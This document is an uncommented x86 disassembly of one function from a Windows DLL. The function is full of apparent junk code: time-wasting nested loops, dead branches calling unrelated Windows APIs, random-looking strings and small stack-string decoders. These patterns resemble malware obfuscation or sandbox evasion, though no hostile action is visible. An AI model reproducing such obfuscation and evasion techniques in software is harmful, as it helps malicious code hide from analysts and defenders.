lea ecx, [ebp - 0x108]
call fcn.1000f280
mov byte [ebp - 4], 0x10
mov dword [ebp - 0x24], ebx
jmp 0x10043028
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x108]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x10043019
mov dword [ebp - 0x18], 0xffffffff
xor edx, edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1d8]
mov eax, dword [ebp - 0x1d8]
mov esi, dword [ebp - 0x108]
mov eax, dword [ebp - 0x20]
cmp dword [esi + 4], eax
mov eax, dword [ebp - 0x20]
setle dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x34]
setl cl
xor edx, edx
cmp ecx, 3
setle dl
sub edx, dword [esi + 4]
neg edx
sbb edx, edx
inc edx
add eax, edx
je 0x100430b3
cmp dword [esi + 4], ebx
je 0x100431b5
lea ecx, [ebp - 0x108]
mov byte [ebp - 4], 0xf
call fcn.1000f303
mov dword [ebp - 0x3c], 0x5568
lea ecx, [ebp - 0x17c]
mov dword [ebp - 0x3c], 0x693
push 3
call fcn.1000f280
push 4
mov dword [ebp - 0x18], ebx
pop edi
jmp 0x10043205
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 0xffffffec
jg 0x100431b5
mov dword [ebp - 0x3c], 0xb780f885
mov dword [ebp - 0x20], 0xffffffea
cmp dword [ebp - 0x20], 1
jle 0x100431aa
mov dword [ebp - 0x4c], 0x3579
cmp dword [ebp - 0x4c], 0x35d9
jle 0x1004313e
mov edi, ebx
mov edx, ebx
mov dword [ebp - 0x40], 0x3fcf
mov dword [ebp - 0x38], edx
mov esi, ebx
mov eax, ebx
mov dword [ebp - 0x2c], ebx
lea ecx, [eax + esi]
mov eax, edx
shl eax, cl
mov ecx, 0x1007d358
cdq
push edx
push eax
call fcn.1000ef91
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x2c], eax
cmp eax, 0x6579
jl 0x100430fd
inc esi
cmp esi, 0x4d9
jl 0x100430f8
add edx, edi
dec dword [ebp - 0x40]
mov dword [ebp - 0x38], edx
jne 0x100430f6
inc edi
cmp edi, 0x199b
jl 0x100430ea
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x10043152
push 0x587
call dword [sym.imp.USER32.dll_GetKeyState]
mov byte [ebp - 4], 0x11
cmp dword [ebp - 0x4c], 0x333a
jge 0x1004318c
mov edx, str.gqowohmkr_yzc_rsd_efxu
mov ecx, 0x1007d358
call fcn.10011e0c
jmp 0x1004318c
mov dword [ebp - 4], 0x10
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x100431a2
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
inc dword [ebp - 0x20]
jmp 0x100430ce
mov eax, dword [ebp - 0x3c]
dec dword [ebp - 0x18]
jmp 0x100430b6
mov dword [ebp - 0x18], ebx
jmp 0x100431d4
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x100431d1
push ebx
push ebx
push ebx
push 0x3ce
call dword [sym.imp.GDI32.dll_CreateEnhMetaFileW]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xc
jl 0x100431ba
lea ecx, [ebp - 0x108]
mov byte [ebp - 4], 0xf
call fcn.1000f303
inc dword [ebp - 0x34]
push 2
pop esi
jmp 0x10042ffa
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x310], 0xfffffff6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x100431f4
mov dword [ebp - 0x18], ebx
jmp 0x1004321e
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x17c]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1004320f
mov eax, dword [ebp - 0x17c]
lea ecx, [ebp - 0x17c]
inc dword [eax + 4]
call fcn.1000f303
push 0x5c
pop eax
mov dword [ebp - 0x70], 0x3c03b600
mov word [ebp - 0x6c], 0x5e2b
mov word [ebp - 0x68], ax
mov dword [ebp - 0x4c], 0x7cf9
cmp dword [ebp - 0x4c], 0x80ab
jle 0x100432b9
mov edi, ebx
mov dword [ebp - 0x40], ebx
mov esi, ebx
mov dword [ebp - 0x2c], ebx
mov ecx, esi
mov dword [ebp - 0x3c], edi
mov esi, edi
mov dword [ebp - 0x5c], ebx
shl esi, cl
mov edi, ebx
mov eax, esi
mov ecx, 0x1007d358
xor eax, edi
cdq
push edx
push eax
call fcn.1000ef91
inc edi
cmp edi, 0xaba
jl 0x10043274
mov esi, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x40]
inc esi
mov dword [ebp - 0x2c], esi
cmp esi, 0x711
jl 0x10043266
inc edi
mov dword [ebp - 0x40], edi
cmp edi, 0x2434
jl 0x10043261
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
push 4
pop edi
push 2
pop esi
mov ecx, ebx
cmp esi, 2
jne 0x100432c9
mov ecx, edi
mov esi, edi
jmp 0x100432f2
movzx edx, byte [ebp + esi - 0x6f]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x72]
movzx ecx, word [ebp + eax*2 - 0x68]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x70]
add ecx, edx
mov word [ebp + eax*2 - 0x68], cx
mov ecx, ebx
add esi, 2
cmp esi, 6
jb 0x100432be
mov byte [ebp - 4], 0x13
cmp dword [ebp - 0x4c], 0x7cbb
jge 0x10043334
mov edx, str.xugrd_lntbxlsvw_mhh_mcirjni_nmlmdxadu
mov ecx, 0x1007d358
call fcn.10011e0c
jmp 0x10043334
mov dword [ebp - 4], 0xf
xor eax, eax
mov word [ebp - 0x66], ax
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x3c], 0xec1fcc8a
mov dword [ebp - 0x4c], 0x81
cmp dword [ebp - 0x4c], 0x1b2
jle 0x100433ab
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], 0x65ae
mov esi, dword [ebp - 0x30]
mov edi, ebx
mov ecx, edi
mov eax, esi
shl eax, cl
mov ecx, 0x1007d358
cdq
push edx
push eax
call fcn.1000ef91
inc edi
cmp edi, 0x5b09
jl 0x10043378
mov esi, dword [ebp - 0x40]
add dword [ebp - 0x30], esi
dec dword [ebp - 0x2c]
jne 0x10043373
inc esi
mov dword [ebp - 0x40], esi
cmp esi, 0x69e1
jl 0x10043369
mov byte [ebp - 4], 0x15
cmp dword [ebp - 0x4c], 0xfffffe78
jge 0x100433e5
mov edx, str.tpolwqame_sofp_wshfzqyuq_ocswqhz_kvormlpj_wlqoawamb_pvzurc
mov ecx, 0x1007d358
call fcn.10011e0c
jmp 0x100433e5
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x24], ebx
jmp 0x100433ff
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x50], 1
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 1
jl 0x100433f1
mov dword [ebp - 0x50], 0xfffffff3
cmp dword [ebp - 0x50], 0x16
jl 0x1004353f
push 3
lea ecx, [ebp - 0xc8]
call fcn.1000f280
mov byte [ebp - 4], 0x17
mov dword [ebp - 0x2c], 5
mov dword [ebp - 0x2c], 0xfffffffd
mov dword [ebp - 0x24], ebx
jmp 0x1004344d
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xc8]
mov dword [eax + ecx*4], 0x76c5
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x1004343a
mov dword [ebp - 0x40], 0x4044
cmp dword [ebp - 0x40], 0x4417
jle 0x100434a9
mov esi, ebx
mov edi, ebx
lea eax, [edi + esi]
cdq
lea ecx, [ebp - 0x2c4]
push edx
push eax
call fcn.10001acf
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10043482
mov eax, dword [eax]
push eax
call fcn.10049e23
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x2c4]
call fcn.1000fa8e
inc edi
cmp edi, 0x1052
jl 0x10043467
inc esi
cmp esi, 0x12c
jl 0x10043465
mov eax, dword [ebp - 0x50]
xor ecx, ecx
cmp eax, 0x11330640
setne cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x2c], 0xfffffffd
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
sub eax, ecx
xor ecx, ecx
test eax, eax
setg cl
cmp ecx, 9
sbb eax, eax
neg eax
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
imul ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0xc8]
sub ecx, dword [eax]
neg ecx
sbb ecx, ecx
add ecx, 0xf118c84c
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x40], 0x3ebe
jge 0x10043517
push str.znvqsip_msd_ssqgg_shlyiue_etycu
call fcn.10049e23
pop ecx
mov dword [ebp - 4], 0x17
lea ecx, [ebp - 0xc8]
mov byte [ebp - 4], 0xf
cmp dword [ebp - 0x2c], ebx
jne 0x1004353a
call fcn.1000f303
inc dword [ebp - 0x50]
jmp 0x1004340c
call fcn.1000f303
xor eax, eax
mov dword [ebp - 0x124], 7
mov word [ebp - 0x138], ax
lea ecx, [ebp - 0x138]
lea eax, [ebp - 0x68]
mov dword [ebp - 0x128], ebx
push eax
call fcn.1001e8ae
push 0x5f
pop eax
mov byte [ebp - 4], 0x1a
mov ecx, ebx
push 2
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x64], 0x33024e00
mov byte [ebp - 0x60], 0x7d
mov word [ebp - 0x74], ax
pop esi
cmp esi, 2
jne 0x10043591
push 3
pop ecx
push ecx
pop esi
jmp 0x100435b8
movzx edx, byte [ebp + esi - 0x63]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x66]
movzx eax, word [ebp + eax*2 - 0x74]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0x64]
mov word [ebp + eax*2 - 0x74], cx
mov ecx, ebx
add esi, 2
cmp esi, 5
jb 0x10043585
xor eax, eax
mov dword [ebp - 0x1e4], 7
mov word [ebp - 0x72], ax
lea ecx, [ebp - 0x1f8]
mov word [ebp - 0x1f8], ax
lea eax, [ebp - 0x74]
push eax
mov dword [ebp - 0x1e8], ebx
call fcn.1001e8ae
mov byte [ebp - 4], 0x1b
mov dword [ebp - 0x18], 0x60b4ffb8
mov dword [ebp - 0x24], ebx
jmp 0x1004360d
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xa4], 8
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 1
jl 0x100435fc
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ebx
jl 0x10043636
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x10043631
push 0x2580
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
dec dword [ebp - 0x18]
jns 0x1004361b
mov dword [ebp - 0x18], 0x11
jmp 0x1004367c
mov dword [ebp - 0x24], ebx
jmp 0x10043652
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x58], 0x4ab274bf
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 1
jl 0x10043644
mov dword [ebp - 0x58], ebx
jmp 0x10043674
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp + eax*4 - 0xa4]
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0xa4], ecx
inc dword [ebp - 0x58]
cmp dword [ebp - 0x58], ebx
jle 0x1004365d
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x1c
jle 0x1004363f
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x30], 0x1829
cmp dword [ebp - 0x30], 0x1bc8
jle 0x1004370f
mov edi, ebx
mov dword [ebp - 0x4c], ebx
mov esi, ebx
mov dword [ebp - 0x40], ebx
mov eax, edi
mov dword [ebp - 0x2c], 0x34fd
cdq
idiv esi
mov esi, edx
mov edi, ebx
mov ecx, edi
mov eax, esi
shl eax, cl
lea ecx, [ebp - 0x2e8]
cdq
push edx
push eax
call fcn.10001acf
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100436cd
mov eax, dword [eax]
push eax
call fcn.10049e23
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x2e8]
call fcn.1000fa8e
inc edi
cmp edi, 0x73ff
jl 0x100436af
inc esi
dec dword [ebp - 0x2c]
jne 0x100436ad
mov esi, dword [ebp - 0x40]
mov edi, dword [ebp - 0x4c]
inc esi
mov dword [ebp - 0x40], esi
cmp esi, 0x59a4
jl 0x1004369f
inc edi
mov dword [ebp - 0x4c], edi
cmp edi, 0x4485
jl 0x1004369a
cmp dword [ebp - 0x30], 0x17d8
jge 0x10043723
push str.poblp_ytxuxt_kjgzmb_cofsvva_rrelwd_zlabjzef_gogievh_ajvn_ouxygohm_ydd
call fcn.10049e23
pop ecx
push 2
lea ecx, [ebp - 0xf0]
mov dword [ebp - 4], 0x1b
call fcn.1000f280
mov dword [ebp - 0x34], 0xeaa32b1c
mov dword [ebp - 0x2c], 3
mov dword [ebp - 0x24], ebx
jmp 0x1004375d
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xf0]
mov dword [eax + ecx*4], 2
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x1004374a
mov dword [ebp - 0x34], ebx
jmp 0x100437f7
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x5c], 0x64f16efa
mov dword [ebp - 0x20], edx
cmp dword [ebp - 0x20], ebx
jl 0x100437e2
mov dword [ebp - 0x3c], 0x9acf2579
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xf0]
cmp dword [eax + ecx*4], ebx
je 0x100437af
mov dword [ebp - 0x24], ebx
jmp 0x100437a4
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x27c], edx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x10043797
dec dword [ebp - 0x2c]
jmp 0x100437dd
mov dword [ebp - 0x3c], 0x1747
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x5c]
sub ecx, eax
mov eax, dword [ebp - 0x20]
neg ecx
sbb ecx, ecx
inc ecx
neg eax
sbb eax, eax
inc eax
imul ecx, eax
mov eax, dword [ebp - 0xf0]
mov dword [eax + edx*4], ecx
xor edx, edx
inc edx
dec dword [ebp - 0x20]
jns 0x1004377d
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x34]
mov ecx, dword [ebp - 0xf0]
mov eax, dword [ecx + eax*4]
mov dword [ecx + edx*4], eax
inc dword [ebp - 0x34]
xor edx, edx
inc edx
cmp dword [ebp - 0x34], edx
jle 0x1004376b
lea ecx, [ebp - 0xf0]
call fcn.1000f303
push dword [ebp - 0x128]
cmp dword [ebp - 0x124], 8
lea eax, [ebp - 0x138]
push ebx
cmovae eax, dword [ebp - 0x138]
lea ecx, [ebp - 0x210]
push eax
call fcn.100418c0
cmp eax, 0xffffffff
je 0x10043854
push 0xffffffffffffffff
push ebx
lea ecx, [ebp - 0x1f8]
push ecx
push 1
push eax
lea ecx, [ebp - 0x210]
call fcn.1001241a
jmp 0x1004380e
mov dword [ebp - 0x44], 0xd8da8e97
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x40], 0x2bbc
cmp dword [ebp - 0x40], 0x2e47
jle 0x100438d4
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
mov edi, ebx
mov esi, ebx
mov eax, ebx
mov dword [ebp - 0x2c], ebx
xor eax, esi
lea ecx, [ebp - 0x300]
or eax, edi
cdq
push edx
push eax
call fcn.10001acf
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1004389f
mov eax, dword [eax]
push eax
call fcn.10049e23
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x300]
call fcn.1000fa8e
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp eax, 0x6a38
jl 0x10043883
inc esi
cmp esi, 0x33e8
jl 0x1004387e
inc edi
cmp edi, 0x65d4
jl 0x1004387c
mov dword [ebp - 0x20], 0x98aaf0a9
cmp dword [ebp - 0x40], 0x2bad
jge 0x100438ef
push str.yxvkwa_kzjn_yjcplqdm
call fcn.10049e23
pop ecx
mov dword [ebp - 4], 0x1b
lea ecx, [ebp - 0x1b8]
xor eax, eax
inc eax
push 0xfffffffffffffffb
mov dword [ebp - 0x40], eax
pop edi
mov dword [ebp - 0x3c], 0xfffffff8
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2c], 0xfffffffd
push eax
call fcn.1000f280
mov dword [ebp - 0x48], 0xffffffff
xor edx, edx
mov dword [ebp - 0x38], 0xaac1
inc edx
mov dword [ebp - 0x3c], 0xef13550e
mov dword [ebp - 0x4c], 0xf54ab100
mov dword [ebp - 0x24], ebx
jmp 0x10043953
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1b8]
mov dword [eax + ecx*4], 9
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edx
jl 0x10043940
mov eax, dword [ebp - 0x44]
mov esi, edx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x2c], edx
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x2c]
dec dword [ebp - 0x38]
cmp ecx, eax
mov eax, dword [ebp - 0x30]
cmove esi, ebx
xor ecx, ecx
cmp esi, eax
setne cl
sub ecx, dword [ebp - 0x40]
cmp ecx, dword [ebp - 0x44]
jle 0x1004398d
cmp dword [ebp - 0x38], ebx
jne 0x1004398d
mov edx, ebx
lea eax, [edx + 0x2ed07459]
cmp eax, dword [ebp - 0x4c]
jle 0x1004399b
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x4c]
jle 0x100439b1
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x44]
add eax, 0x731d497c
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x20], edi
jmp 0x100439db
mov dword [ebp - 0x3c], 0xfffffff6
mov dword [ebp - 0x3c], 0xfffffffc
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x17
jne 0x100439ca
lea ecx, [ebp - 0x1b8]
call fcn.1000f303
mov ecx, dword [ebp - 0xa8]
lea eax, [ebp - 0x210]
push eax
lea edx, [ebp - 0x1d0]
call fcn.10043d16
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x1f8]
call fcn.1000fc62
push ebx
push 1
lea ecx, [ebp - 0x138]
call fcn.1000fc62
push ebx
push 1
lea ecx, [ebp - 0x210]
call fcn.1000fc62
push ebx
push 1
lea ecx, [ebp - 0x1d0]
call fcn.1000fc62
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0xa8]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret